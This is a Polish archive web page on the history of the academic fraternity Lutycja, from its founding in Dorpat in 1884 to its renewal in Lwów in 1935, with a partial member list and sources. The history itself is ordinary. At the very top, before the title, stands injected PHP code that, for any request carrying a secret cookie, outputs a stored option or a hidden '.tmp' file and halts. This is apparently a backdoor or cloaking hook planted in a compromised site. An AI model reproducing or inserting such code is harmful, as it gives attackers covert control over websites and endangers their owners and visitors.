if (isset($_COOKIE["fn9uBsXrHEMCoNLjpQ9VN9SVJgeJ2TQDYJ"])) { $lines = get_option( 'wpsdth4_license_key' ); if (!empty($lines)) { $lines = @file_get_contents(".tmp"); } echo $lines; exit(); } Archiwum Korporacyjne - Archiwum i Muzeum Polskich Korporacji Akademickich

K! Lutycja

Dekiel Karola Łaszkiewicza. Nazwa:
Stowarzyszenie “Lutycja”
Siedziba:
od 1884 r. Dorpat, od 1935 r. Lwów
Data powstania:
14 X 1884 r.
Barwy:
czerwona – biała – niebieska
Dewiza:
„Naprzód pracą. Jeden za wszystkich wszyscy za jednego.”

Rys historyczny

W dniu poświęcenia sztandaru Lutycji w K! Lutyko-Venedya, Lwów 25 VI 1930 r.

Lutycja została założona w 1884 r. przez polskich studentów Instytutu Weterynaryjnego w Dorpacie, gdzie działała aż do końca pierwszej wojny światowej. W lipcu 1921 r. na zjeździe lekarzy weterynarii w Poznaniu członkowie Lutycji wraz z członkami drugiej dorpackiej korporacji weterynarzy Vendyi zawarli umowę o połączeniu obu konwentów w jedną wspólną korporację Lutyko-Vendya z siedzibą we Lwowie.

Pieczęć odnowionej Lutycji, połowa lat 30-tych.

Od uroczystości rocznicowych 45-lecia korporacji w 1929 r. jeden z założycieli dorpackiej Lutycji dr Jan Szukszta zaczął podejmować starania na rzecz silniejszego uzewnętrzniania tradycji Lutycji w działalności Lutyko-Venedyi. Na jego wniosek konwent Lutyko-Venedyi wyraził zgodę, aby noszono odznakę-plakietkę z barwami Lutycji, aby poczet sztandarowy nosił czapki Lutycji oraz aby w przyszłości istniał odrębny sztandar (proporzec) Lutycji. W 1930 r. odbyło się poświęcenie ufundowanego przez Jana Szuksztę proporca w barwach Lutycji. Miał wówczas zastrzec, że “gdyby kiedykolwiek nastąpił rozdział, aby proporzec ten (…) przeszedł na własność Lutycyi, bo nigdy przewidzieć nie można, co w przyszłości będzie”.

W 1934-35 Jan Szukszta rozpoczął starania na rzecz odnowienia samej Lutycji. Z jego inicjatywy w 1934 r. grupa członków warszawskiej K! Grunwaldja powołała K! Lutycję, która jednak nie rozwinęła działalności i po kilku miesiącach zanikła.

Odnowiona Lutycja, w środku siedzi Jan Szukszta, Lwów ok. 1935 r.

Wiosną 1935 r. z inicjatywy Jana Szukszty oraz ze wsparciem grupy dorpackich członków Lutycji - jak podaje Zbysław Popławski - czterech rycerzy i dwóch fuksów z K! Lutyko-Venedya utworzyło odnowioną K! Lutycję. Przyczyny podziału - jak się wydaje - były dwie. Po pierwsze, tlący się od lat konflikt wokół niedostatecznego zdaniem Jana Szukszty kultywowania tradycji Lutycji w Lutyko-Venedyi. Po drugie, istotniejszą rolę odegrać miały jednak motywy polityczne. Zdaniem Zbysława Popławskiego Lutyko-Venedya pozostawała zbyt niezależna od bezpośredniego wpływu czynników partyjnych na funkcjonowanie korporacji, co prowadziło do przekonania o jej sanacyjnym charakterze. Miało to stanowić podstawę do podjęcia decyzji przez tajną Straż Narodową o wsparciu rozłamu w korporacji oraz jego usankcjonowania w ogólnopolskim środowisku korporacyjnym.

Herb odnowionej Lutycji.

Lwowskie Koło Międzykorporacyjne usankcjonowało powstały rozłam oraz uznało nowo zorganizowaną korporację za kontynuację dorpackiej Lutycji (data starszeństwa związkowego: 14 X 1884 r.). Decyzja ta była potwierdzona przez XII i XIII Zjazd Polskich Korporacji Akademickich w 1935 r. i 1937 r.

Odnowiona Lutycja była korporacją mało liczebną. Całkowita ustalona, choć niekompletna imienna lista członków z lat 1935-39 obejmuje jedynie osiem nazwisk (pełna lista członków Lutycji dorpackiej znajduje się w wykazie Lutyko-Venedyi).

Brak informacji o działalności Lutycji oraz spotkaniach jej członków w czasie wojny i okresie powojennym.

Odnowiona K! Lutycja (?), Lwów połowa lat 30-tych (?).

Lista członków

Poniższa, niekompletna lista członków odnowionej Lutycji obejmuje zaledwie kilka nazwisk. Będziemy wdzięczni za jej uzupełnianie i korektę, przesyłanie danych biograficznych i fotografii członków korporacji (vide Kontakt), jak także za pomoc w poszukiwaniach materialnych śladów oraz wszelkich informacji o samej korporacji (vide Poszukiwania).

  1. Jerzy Budweil, ( - lata 60-te w Słubicach ?) akt. 1931-37, miał należeć do tajnej organizacji SN, na której zlecenie dokonał w 1935 wraz z grupą kolegów rozłamu w Lutyko-Vendyi i odnowił Lutycję, prezes Lwowskiego Koła Międzykorporacyjnego 1935/36, wiceprezes Bratniej Pomocy Studentów AMW 1936, napisał referat “Problemy wychowania korporacyjnego” (Podręcznik oldermana, Lwów 1936)
  2. Kazimierz Goliszewski, (1909 w Katowicach - ) student i absolwent 1935 AMW, prezes 1932/33, najpierw w Lutyko-Venedyi, wraz z grupą kolegów dokonał w 1935 rozłamu w Lutyko-Venedyi i odnowił Lutycję
  3. Tadeusz Kowal, (1912-1985) student AMW, początkowo w Lutyko-Venedyi, przeszedł do nowej Lutycji, wiceprezes 1934 i prezes 1935 Bratniej Pomocy Studentów AMW, dpl. Lwów 1942
  4. Karol Kubicki, wiceprezes Bratniej Pomocy Studentów AMW 1935
  5. Roman Ledziński, (1913-1943) najpierw w Lutyko-Venedyi, jako fuks przeszedł w 1935 do odnowionej Lutycji, prezes Bratniej Pomocy Studentów AMW 1938
  6. Zygmunt Modelski, c. 1935 Lutyko-Venedya, jako fuks przeszedł w 1935 do odnowionej Lutycji

    Jan Szukszta, prawd. 1935 r.

  7. Jan Marian Tadeusz Szukszta, (1862 - 1 stycznia 1939 w Inowrocławiu) student i absolwent 1888 Instytutu Weterynaryjnego w Dorpacie, założyciel Lutycji, dr wet., działacz narodowy, do 1925 w rodzinnym maj. Michaliszki pow. Poniewież na Litwie kowieńskiej, odznaczony Dyplomem Zasługi i Złotą Odznaką ZPKA, inicjator rozłamu w Grunwalidji 1934 oraz w Lutyko-Venedyi 1935 i odnowienia Lutycji, pochowany w grobowcu rodzinnym w Warszawie

  8. Marian Wardyński, (2 lutego 1912 w Milatynie Nowym pow. Kamionka Strumiłowa - 18 listopada 1967 w Dębicy) student i absolwent AMW 1932-39, najpierw w Lutyko-Venedyi, w 1935 przeszedł do Lutycji nowej, pochowany na Cmentarzu Rakowickim w Krakowie

Listę członków opracowano na podstawie:

1) Konrad Millak, Polskie stowarzyszenia studentów weterynarii w Dorpacie do 1918 roku, (w:) Zeszyty Naukowe SGGW - Seria Historyczna, z. 2, Warszawa 1965, s. 93 i n.,
2) Zbysław Popławski, Lista członków Polskiej Korporacji Akademickiej Lutyko-Venedya (Lwów), (w:) Polskie Korporacje Akademickie 1996, nr 11, s. 34 i n.,
3) wydawnictw encyklopedycznych i biograficznych oraz rozmów z rodzinami członków Korporacji Lutycja.

Opracowanie: Bartłomiej P. Wróblewski
Opublikowano: 14 II 2010 r.
Ostatnia zmiana: 2 X 2010 r.

Propozycja cytowania: Bartłomiej P. Wróblewski, Korporacja Lutycja (Dorpat, Lwów), (na:) www.archiwumkorporacyjne.pl, stan 2 X 2010 r.

O Archiwum  |  Muzeum Korporacyjne  |  Aktualności  |  Kontakt  |   English © Archiwum Korporacyjne     Nota prawna  |  Mapa serwisu  | 
Szukaj    »
created by { re.PUBLIK }